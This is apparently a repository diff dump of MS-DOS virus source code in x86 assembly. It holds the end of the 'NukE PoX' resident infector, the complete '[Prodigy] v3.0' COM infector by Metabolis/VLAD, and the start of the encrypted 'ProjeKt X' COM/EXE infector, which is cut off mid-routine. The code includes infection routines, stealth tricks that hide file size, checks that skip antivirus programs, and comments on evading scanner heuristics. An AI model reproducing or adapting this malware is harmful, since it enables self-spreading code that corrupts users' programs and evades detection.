|
||||
push cs
|
||||
call int21call ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected ;Not for us man...
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,1dh ;Is in 58 seconds?
|
||||
jnz not_infected ;Nope...
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],virus_size ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected: pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Int 21 Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int21_handler:
|
||||
cmp ax,4b00h ;File executed
|
||||
je execute
|
||||
cmp ah,11h ;Dir handler
|
||||
je dir_handler
|
||||
cmp ah,12h ;Next file Dir handler
|
||||
je dir_handler
|
||||
cmp ax,7bcdh ;Virus testing
|
||||
jne int21call
|
||||
jmp execute
|
||||
int21call:
|
||||
jmp dword ptr cs:[int21] ;Split...
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
cmp ax,7bcdh ;Was Virus testing if it was
|
||||
jne continue ;Alive? If No Continue
|
||||
push cs
|
||||
pop ds ;If Yes, Check if COMMAND.CO
|
||||
mov dx,offset command ;Is infected! And return
|
||||
jmp continue2
|
||||
continue:
|
||||
call check_name ;Make sure file executed
|
||||
jc exit_now ;Ain't a Anti-Viral program
|
||||
continue2: ;With the CRC-32 checkers
|
||||
mov ax,4300h ;Get file Attribs
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
test cl,1h ;Make sure there normal
|
||||
jz open_file ;Okay there are
|
||||
and cl,0feh ;Nope, Fix them...
|
||||
mov ax,4301h ;Save them now
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
open_file: mov ax,3D02h
|
||||
int 21h ;Open File to Infect please
|
||||
|
||||
jc exit ;Error Split
|
||||
mov bx,ax ;BX File handler
|
||||
mov ax,5700h ;Get file TIME + DATE
|
||||
int 21h
|
||||
|
||||
mov al,cl
|
||||
or cl,1fh ;Un mask Seconds
|
||||
dec cx ;60 seconds
|
||||
dec cx ;58 seconds
|
||||
xor al,cl ;Is it 58 seconds?
|
||||
jz exit ;File already infected
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx ;Save Time
|
||||
mov word ptr ds:[old_date],dx ;Save Date
|
||||
|
||||
mov ah,3Fh
|
||||
mov cx,20h
|
||||
mov dx,offset ds:[buffer] ;Read first 20h bytes
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
mov ax,4202h ;Move file pointer to end of
|
||||
xor cx,cx ;file...
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
|
||||
je exe_file ;JMP to EXE Infector
|
||||
mov cx,ax
|
||||
sub cx,3 ;Set the JMP
|
||||
mov word ptr cs:[jump_address+1],cx
|
||||
call infect_me ;Infect!
|
||||
jc exit_now ;error split
|
||||
mov ah,40h ;Write back the firs
|
||||
mov dx,offset ds:[jump_address] ;bytes
|
||||
mov cx,3h
|
||||
int 21h
|
||||
exit_now:
|
||||
mov cx,word ptr cs:[old_time] ;Restore old time
|
||||
mov dx,word ptr cs:[old_date] ;Restore Old date
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
exit_now2:
|
||||
mov ah,3Eh
|
||||
int 21h ;Close File now...
|
||||
exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp ax,7bcdh ;Virus checking if alive
|
||||
jne leave_now ;No, Exit normally
|
||||
mov bx,ax ;Yes, Fix BX with codez
|
||||
leave_now:
|
||||
jmp dword ptr cs:[int21] ;Jmp back to whatever
|
||||
exe_file:
|
||||
mov cx,word ptr cs:[buffer+20] ;IP Regester
|
||||
mov word ptr cs:[exe_ip],cx ;Save IP Regester
|
||||
mov cx,word ptr cs:[buffer+22] ;CS Regester
|
||||
mov word ptr cs:[exe_cs],cx ;Save CS Regester
|
||||
mov cx,word ptr cs:[buffer+16] ;SP Regester
|
||||
mov word ptr cs:[exe_sp],cx ;Save SP Regester
|
||||
mov cx,word ptr cs:[buffer+14] ;SS Regester
|
||||
mov word ptr cs:[exe_ss],cx ;Save SS Regester
|
||||
push ax
|
||||
push dx
|
||||
call multiply ;Figure a new CS:IP
|
||||
sub dx,word ptr cs:[buffer+8]
|
||||
mov word ptr cs:[buffer+22],dx ;Restore New CS
|
||||
mov word ptr cs:[buffer+20],ax ;Restore New IP
|
||||
pop dx
|
||||
pop ax
|
||||
add ax,virus_size
|
||||
adc dx,0
|
||||
push ax
|
||||
push dx
|
||||
call multiply ;Figure a new SS:SP
|
||||
sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall
|
||||
add ax,40h
|
||||
mov word ptr cs:[buffer+14],dx ;New SS Pointer
|
||||
mov word ptr cs:[buffer+16],ax ;New SP Pointer
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
push bx
|
||||
push cx
|
||||
mov cl,7 ;Fix for Header for
|
||||
shl dx,cl ;new file size in 512
|
||||
;byte pages
|
||||
mov bx,ax
|
||||
mov cl,9 ;And the remainder
|
||||
shr bx,cl ;after dividing by
|
||||
;512...
|
||||
add dx,bx
|
||||
and ax,1FFh
|
||||
jz outta_here
|
||||
inc dx
|
||||
outta_here:
|
||||
pop cx
|
||||
pop bx
|
||||
|
||||
mov word ptr cs:[buffer+2],ax ;Save Remainder
|
||||
mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag
|
||||
call infect_me ;INFECT File! Yeah!
|
||||
jc exit_exe
|
||||
|
||||
mov ah,40h ;Write NEW EXE Header back
|
||||
mov dx,offset ds:[buffer] ;to EXE File! Points to
|
||||
mov cx,20h ;The Virus Now!!! ehhe
|
||||
int 21h
|
||||
exit_exe:
|
||||
jmp exit_now
|
||||
|
||||
rocko endp
|
||||
|
||||
exe_ip dw 0 ;Original IP,CS,SP,SS From EXE
|
||||
exe_cs dw 0 ;Header!
|
||||
exe_sp dw 0
|
||||
exe_ss dw 0
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Infection Routine...
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
infect_me proc near
|
||||
mov ah,40h ;Write the New Encrypted
|
||||
mov dx,offset init_virus ;Virus to File!
|
||||
mov cx,virus_size
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Error Split
|
||||
mov ax,4200h
|
||||
xor cx,cx ;Pointer back to beginning
|
||||
xor dx,dx ;file!
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Split Dude...
|
||||
clc ;Clear carry flag
|
||||
retn
|
||||
exit_error:
|
||||
stc ;Set carry flag
|
||||
retn
|
||||
infect_me endp
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Fix EXE Header...Gets new SS, CS Values for EXEs headers
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
multiply proc near
|
||||
push bx
|
||||
push cx
|
||||
mov cl,0Ch
|
||||
shl dx,cl
|
||||
|
||||
mov bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
|
||||
add dx,bx
|
||||
and ax,0Fh
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
multiply endp
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Check to see if an `Anti-Viral' Product is being executed.
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
check_name proc near
|
||||
push si
|
||||
push cx
|
||||
|
||||
mov si,dx
|
||||
mov cx,128h
|
||||
loop_me:
|
||||
cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String
|
||||
je next_ok
|
||||
inc si
|
||||
loop loop_me
|
||||
next_ok:
|
||||
cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT)
|
||||
jne next_1 ;Naaa
|
||||
cmp ds:[si-4],'RP'
|
||||
je bad_file ;Yupe...
|
||||
next_1:
|
||||
cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee)
|
||||
jne next_2 ;Naaa
|
||||
cmp ds:[si-4],'CS'
|
||||
je bad_file ;Yupe...
|
||||
next_2:
|
||||
cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE
|
||||
jne next_3 ;Naaa
|
||||
cmp ds:[si-4],'EL'
|
||||
je bad_file ;Yupe...
|
||||
next_3:
|
||||
pop cx
|
||||
pop si ;good file Set CARRY FLAG
|
||||
clc ;to normal
|
||||
retn
|
||||
bad_file:
|
||||
pop cx ;Bad file, Set CARRY FLAG
|
||||
pop si ;ON!!!
|
||||
stc
|
||||
retn
|
||||
check_name endp
|
||||
|
||||
command db "C:\COMMAND.COM",0 ;What to infect!
|
||||
old_time dw ?
|
||||
old_date dw ?
|
||||
jump_address db 0E9h,90h,90h
|
||||
buffer db 90h,0CDh,020h
|
||||
db 30h DUP (?)
|
||||
msg db "NukE PoX V1.1 - R.S"
|
||||
last:
|
||||
seg_a ends
|
||||
|
||||
end start
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,244 @@
|
|||
; - [Prodigy] v3.0
|
||||
; Metabolis/VLAD
|
||||
; _ _ .---------.
|
||||
; | | |_| | T H E |
|
||||
; | | _ `---------'
|
||||
; _____ _____ _____ ___| | | | ______ _ _
|
||||
; | _ | | .-. | | _ | | _ | | | | ___/ | | | |
|
||||
; | |_| | | `-' | | |_| | | |_| | | | | |___ | | | |
|
||||
; | ___| |_|~\_\ |_____| |_____| |_| \_,. | |_|_|_|
|
||||
; | | .---------------------. | | | |
|
||||
; | | | - VIRUS! v3.0 - | | | | |
|
||||
; |_| `---------------------' |_| |_|
|
||||
;
|
||||
; - Direct Action, Parasitic .COM infector
|
||||
; - Restores original attributes and file date/time
|
||||
; - Searches '..' until there are no more files to infect
|
||||
; - Won't infect COMMAND.COM
|
||||
; - Has an infection counter (set to infect 2 at a time right now)
|
||||
;
|
||||
; - sure, this virus is simple, and not really worth releasing.. but
|
||||
; not everyone is up to understanding Qark's level of code,
|
||||
; certainly not me. So for the people who are just starting off
|
||||
; take a look at this one. It's the 3rd virus I've written, the
|
||||
; other 2 definately not worth publishing :) hehe
|
||||
;
|
||||
; - Use a86 to compile
|
||||
|
||||
org 0100h ; yer COM file starts
|
||||
; at this mem address
|
||||
|
||||
db 0e9h,00h,00h ; jump to begin
|
||||
|
||||
begin:
|
||||
call $+3 ; get the delta offset
|
||||
next: int 3h ; (overcomes 'E' heuristic)
|
||||
pop bp ; for the virus and
|
||||
sub bp, offset next ; stick it in BP
|
||||
|
||||
set_dta:
|
||||
|
||||
lea si, [bp+offset first3]
|
||||
mov di, 100h
|
||||
movsw
|
||||
movsb
|
||||
|
||||
; the virus puts the original three bytes of the program back
|
||||
; at 100h so all we have to do at the end of the virus is jump
|
||||
; to 100h and it will execute the infected program as normal
|
||||
|
||||
mov byte ptr [bp+counter], 00h ; initialise infection
|
||||
; counter
|
||||
mov ah,47h ; get current directory
|
||||
xor dl,dl ; and put it in currdir
|
||||
lea si,[bp+offset currdir] ; (dl=0 <- default drive)
|
||||
int 21h
|
||||
|
||||
mov ah,1Ah ; Set DTA to buffer
|
||||
lea dx,[bp+offset tempDTA] ; so command line params
|
||||
int 21h ; aren't overwritten
|
||||
|
||||
find_first:
|
||||
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; with any attributes
|
||||
dec byte ptr [bp+offset mask]
|
||||
|
||||
; the reason I dec the '+' in the filemask is because this
|
||||
; makes it an asterisk. This will get past scanners picking
|
||||
; up *.COM as a heuristic.
|
||||
|
||||
lea dx,[bp+offset mask] ; look for *.COM
|
||||
int 21h
|
||||
inc byte ptr [bp+offset mask]
|
||||
|
||||
; this restores the '*' in the filemask to '+' for writing
|
||||
; back to disk.
|
||||
|
||||
jnc open_file ; no files to infect..
|
||||
jmp load_com
|
||||
|
||||
fn:
|
||||
jmp find_next
|
||||
|
||||
; find_next is too far from most places so I've set this up to
|
||||
; make life easier :) it gets around the jump > 128 error.
|
||||
|
||||
open_file:
|
||||
|
||||
; when a file is found with either find first or find next
|
||||
; all of its details like size, attributes, name etc are stored
|
||||
; in an area called DTA which resides at 80h (just before the
|
||||
; COM itself at 100h). In this case, the DTA has been moved
|
||||
; to another address. The different details are positioned
|
||||
; at various positions from 80h. 9eh for instance is the
|
||||
; position of the filename (ASCIIZ)
|
||||
|
||||
cmp word ptr [bp+tempDTA+1eh],'OC' ; don't infect command.com
|
||||
je fn ; uh oh.. find another file
|
||||
lea dx,[bp+tempDTA+1eh] ; filename in DTA
|
||||
mov ax,4301h ; put normal attributes
|
||||
mov cx,20h ; on the file
|
||||
int 21h
|
||||
jc fn ; error, we outta here
|
||||
mov ax,3D02h ; open that file!
|
||||
lea dx,[bp+tempDTA+1eh] ; filename in DTA
|
||||
int 21h
|
||||
jc fn ; can't open file :(
|
||||
xchg bx,ax ; put file handle in BX
|
||||
|
||||
infect:
|
||||
mov cx,3 ; read 3 bytes from file
|
||||
mov ah,03Fh ; and stick them in first3
|
||||
lea dx,[bp+offset first3]
|
||||
int 021h
|
||||
|
||||
lea cx,word ptr [bp+offset first3] ; put the first 2 bytes of
|
||||
; the file in cx
|
||||
add cl,ch ; add the two bytes together
|
||||
cmp cl,167 ; M+Z=167 ?
|
||||
je fn
|
||||
|
||||
; if I simply compared the first two bytes to 'MZ' (or 'ZM' since
|
||||
; it would be a word) this would set off a tbscan heuristic, so
|
||||
; I've used the adding method, although N+Y=167 it is not really
|
||||
; worth worrying about, I have seen the first two bytes of a COM
|
||||
; file equal 167 yet.
|
||||
|
||||
call lseek_end ; move to the end of the file
|
||||
|
||||
sub ax,heap-begin+3 ; subtract the virus length
|
||||
cmp word ptr [bp+first3+1],ax ; see if jump is to virus
|
||||
je fn ; file already infected
|
||||
add ax,heap-begin ; add on to know where to
|
||||
mov word ptr [bp+infjump+1],ax ; jump to and fix it up
|
||||
|
||||
mov ax,4200h ; lseek to beginning of file
|
||||
cwd ; xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov cx,3 ; write 3 bytes to file
|
||||
mov ah,40h ; (the new jump to the
|
||||
lea dx,[bp+offset infjump] ; virus)
|
||||
int 21h
|
||||
|
||||
call lseek_end ; move to the end of the file
|
||||
|
||||
mov cx,heap-begin ; write the virus
|
||||
mov ah,40h ; to the end of the
|
||||
lea dx,[bp+offset begin] ; file
|
||||
int 21h
|
||||
|
||||
call close_file
|
||||
|
||||
load_com:
|
||||
|
||||
inc byte ptr [bp+counter] ; add one to the counter
|
||||
cmp byte ptr [bp+counter],2 ; check if X files have
|
||||
jne find_next ; been infected
|
||||
|
||||
mov ah, 1Ah ; restore DTA to original
|
||||
mov dx, 80h ; position
|
||||
int 21h
|
||||
|
||||
mov ah,3bh ; Change directory
|
||||
lea dx,[bp+offset slash] ; to the way it was
|
||||
int 21h ; before the dot dot
|
||||
|
||||
mov bx,101h ; we need to jump to 100h
|
||||
dec bx ; this will knock out a
|
||||
jmp bx ; tbscan heuristic :)
|
||||
|
||||
find_next:
|
||||
|
||||
call close_file ; make sure file is closed
|
||||
|
||||
mov ah,4fh ; find next file
|
||||
int 21h
|
||||
jc dot_dot
|
||||
jmp open_file ; infect the bastard!
|
||||
|
||||
dot_dot:
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+offset dds] ; to '..' from the
|
||||
int 21h ; current directory
|
||||
jc load_com
|
||||
jmp find_first
|
||||
|
||||
close_file:
|
||||
|
||||
xor cx,cx
|
||||
mov cl,byte ptr [bp+tempdta+15h] ; get old attr from DTA
|
||||
lea dx,[bp+TempDTA+1eh] ; position of filename in DTA
|
||||
mov ax,4301h ; set attr to original
|
||||
int 21h
|
||||
mov cx,word ptr [bp+tempDTA+16h] ; date and time
|
||||
mov dx,word ptr [bp+tempDTA+18h] ; date and time
|
||||
mov ax,5701h ; set file date/time
|
||||
int 21h
|
||||
mov ah,3eh ; close file
|
||||
int 21h
|
||||
ret
|
||||
|
||||
lseek_end:
|
||||
mov ax,4202h ; get to the end
|
||||
cwd ; of the file (xor dx,dx)
|
||||
xor cx,cx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
quote db 0dh,0ah
|
||||
db '[Prodigy] v3.0 by Metabolis/VLAD',0dh,0ah
|
||||
db '"Feel the jungle vibe baby"',0dh,0ah
|
||||
db '"In the jungle, In the jungle.."',0dh,0ah
|
||||
|
||||
; [Prodigy] v3.0 by Metabolis/VLAD
|
||||
; "Feel the jungle vibe baby"
|
||||
; "In the jungle, In the jungle.."
|
||||
|
||||
; Quote from "Ruff in the jungle bizness" by the Prodigy :)
|
||||
|
||||
infjump db 0e9h,00h,00h ; jump to the virus
|
||||
first3 db 0cdh,20h,00h ; First 3 bytes of the
|
||||
; com file that was infected
|
||||
dds db '..',00 ; '..' for dir recursor
|
||||
mask db '+','.COM',00 ; filemask (for finding files)
|
||||
slash db '\' ; fix for currdir
|
||||
|
||||
; when you use the get current directory function it doesn't
|
||||
; put a '\' at the beginning of it, so it's not possible to
|
||||
; change to the directory if you store it straight away,
|
||||
; that's why I change to directory from offset slash rather
|
||||
; than currdir since it's ASCIIZ.. (string ending in a zero)
|
||||
|
||||
heap:
|
||||
|
||||
currdir db 64 dup (?) ; storage for default dir
|
||||
counter db 00 ; infection counter
|
||||
tempdta db 43 dup (?)
|
||||
|
||||
; everything after heap doesn't actually get written to disk when
|
||||
; the virus infects a file.
|
||||
|
|
@ -0,0 +1,519 @@
|
|||
; PROJEKTX.ASM : ProjeKt X
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
id = 'AI' ; ID word for EXE infections
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: ; handles encryption and decryption
|
||||
mov bp,(offset heap - offset startencrypt)/2 ; iterations
|
||||
patch_startencrypt:
|
||||
mov bx,offset startencrypt ; start of decryption
|
||||
decrypt_loop:
|
||||
db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc bx ; calculate new decryption location
|
||||
inc bx
|
||||
dec bp ; If we are not done, then
|
||||
jnz decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
restoreCOM:
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsb
|
||||
jmp short restoreEXIT
|
||||
restoreEXE:
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
restoreEXIT:
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfec],3 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+exe_mask]
|
||||
call infect_mask
|
||||
lea dx,[bp+com_mask]
|
||||
call infect_mask
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
call get_second
|
||||
cmp ax,0032h ; Did the function return 50?
|
||||
jl skip00 ; If less, skip effect
|
||||
jmp short activate_one ; Success -- skip jump
|
||||
|
||||
skip00:
|
||||
call get_hour
|
||||
cmp ax,0017h ; Did the function return 23?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_weekday
|
||||
cmp ax,0003h ; Did the function return 3?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
jmp activate_two ; Success -- skip jump
|
||||
|
||||
skip01: jmp exit_virus
|
||||
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
returnCOM:
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
returnEXE:
|
||||
pop es
|
||||
pop ds
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear intrpts for stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 db ? ; Actually four bytes
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
stacksave2 dd ?
|
||||
|
||||
activate_one: ; Conditions satisfied
|
||||
mov cx,0003h ; First argument is 3
|
||||
new_shot: push cx ; Save the current count
|
||||
mov dx,0140h ; DX holds pitch
|
||||
mov bx,0100h ; BX holds shot duration
|
||||
in al,061h ; Read the speaker port
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
fire_shot: xor al,2 ; Toggle the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
add dx,09248h ;
|
||||
mov cl,3 ;
|
||||
ror dx,cl ; Figure out the delay time
|
||||
mov cx,dx ;
|
||||
and cx,01FFh ;
|
||||
or cx,10 ;
|
||||
shoot_pause: loop shoot_pause ; Delay a bit
|
||||
dec bx ; Are we done with the shot?
|
||||
jnz fire_shot ; If not, pulse the speaker
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
mov bx,0002h ; BX holds delay time (ticks)
|
||||
xor ah,ah ; Get time function
|
||||
int 1Ah ; BIOS timer interrupt
|
||||
add bx,dx ; Add current time to delay
|
||||
shoot_delay: int 1Ah ; Get the time again
|
||||
cmp dx,bx ; Are we done yet?
|
||||
jne shoot_delay ; If not, keep checking
|
||||
pop cx ; Restore the count
|
||||
loop new_shot ; Do another shot
|
||||
jmp go_now
|
||||
|
||||
go_now:
|
||||
mov ax,0003h ; stick 3 into ax.
|
||||
int 10h ; Set up 80*25, text mode. Clear the
|
||||
; screen, too.
|
||||
mov ax,1112h ; We are gunna use the 8*8 internal
|
||||
; font, man.
|
||||
int 10h ; Hey man, call the interrupt.
|
||||
mov ah,09h ; Use DOS to print fake error
|
||||
; message
|
||||
mov dx,offset fake_msg
|
||||
int 21h
|
||||
mov ah,4ch ; Lets ditch.
|
||||
int 21h ; "Make it so."
|
||||
jmp exit_virus
|
||||
|
||||
activate_two: ; First, get current video mode and page.
|
||||
mov cx,0B800h ;color display, color video mem for page 1
|
||||
mov ah,15 ;Get current video mode
|
||||
int 10h
|
||||
cmp al,2 ;Color?
|
||||
je A2 ;Yes
|
||||
cmp al,3 ;Color?
|
||||
je A2 ;Yes
|
||||
cmp al,7 ;Mono?
|
||||
je A1 ;Yes
|
||||
int 20h ;No,quit
|
||||
|
||||
;here if 80 col text mode; put video segment in ds.
|
||||
A1: mov cx,0A300h ;Set for mono; mono videomem for page 1
|
||||
A2: mov bl,0 ;bx=page offset
|
||||
add cx,bx ;Video segment
|
||||
mov ds,cx ;in ds
|
||||
|
||||
;start dropsy effect
|
||||
xor bx,bx ;Start at top left corner
|
||||
A3: push bx ;Save row start on stack
|
||||
mov bp,80 ;Reset column counter
|
||||
;Do next column in a row.
|
||||
A4: mov si,bx ;Set row top in si
|
||||
mov ax,[si] ;Get char & attr from screen
|
||||
cmp al,20h ;Is it a blank?
|
||||
je A7 ;Yes, skip it
|
||||
mov dx,ax ;No, save it in dx
|
||||
mov al,20h ;Make it a space
|
||||
mov [si],ax ;and put on screen
|
||||
add si,160 ;Set for next row
|
||||
mov di,cs:Row ;Get rows remaining
|
||||
A5: mov ax,[si] ;Get the char & attr from screen
|
||||
mov [si],dx ;Put top row char & attr there
|
||||
A6: call Vert ;Wait for 2 vert retraces
|
||||
mov [si],ax ;Put original char & attr back
|
||||
;Do next row, this column.
|
||||
add si,160 ;Next row
|
||||
dec di ;Done all rows remaining?
|
||||
jne A5 ;No, do next one
|
||||
mov [si-160],dx ;Put char & attr on line 25 as junk
|
||||
;Do next column on this row.
|
||||
A7: add bx,2 ;Next column, same row
|
||||
dec bp ;Dec column counter; done?
|
||||
jne A4 ;No, do this column
|
||||
;Do next row.
|
||||
A8: pop bx ;Get current row start
|
||||
add bx,160 ;Next row
|
||||
dec cs:Row ;All rows done?
|
||||
jne A3 ;No
|
||||
A9: mov ax,4C00h
|
||||
int 21h ;Yes, quit to DOS with error code
|
||||
|
||||
;routine to deal with snow on CGA screen.
|
||||
Vert: push ax
|
||||
push dx
|
||||
push cx ;Save all registers used
|
||||
mov cl,2 ;Wait for 2 vert retraces
|
||||
mov dx,3DAh ;CRT status port
|
||||
F1: in al,dx ;Read status
|
||||
test al,8 ;Vert retrace went hi?
|
||||
je F1 ;No, wait for it
|
||||
dec cl ;2nd one?
|
||||
je F3 ;Yes, write during blanking time
|
||||
F2: in al,dx ;No, get status
|
||||
test al,8 ;Vert retrace went low?
|
||||
jne F2 ;No, wait for it
|
||||
jmp F1 ;Yes, wait for next hi
|
||||
F3: pop cx
|
||||
pop dx
|
||||
pop ax ;Restore registers
|
||||
ret
|
||||
jmp exit_virus
|
||||
|
||||
get_weekday proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_weekday endp
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
get_hour proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,ch ; Copy hour into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_hour endp
|
||||
|
||||
get_minute proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,cl ; Copy minute into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_minute endp
|
||||
|
||||
get_second proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,dh ; Copy second into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_second endp
|
||||
|
||||
note db '[ProjeKt X]',0
|
||||
|
||||
infect_mask:
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc exit_infect_mask ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
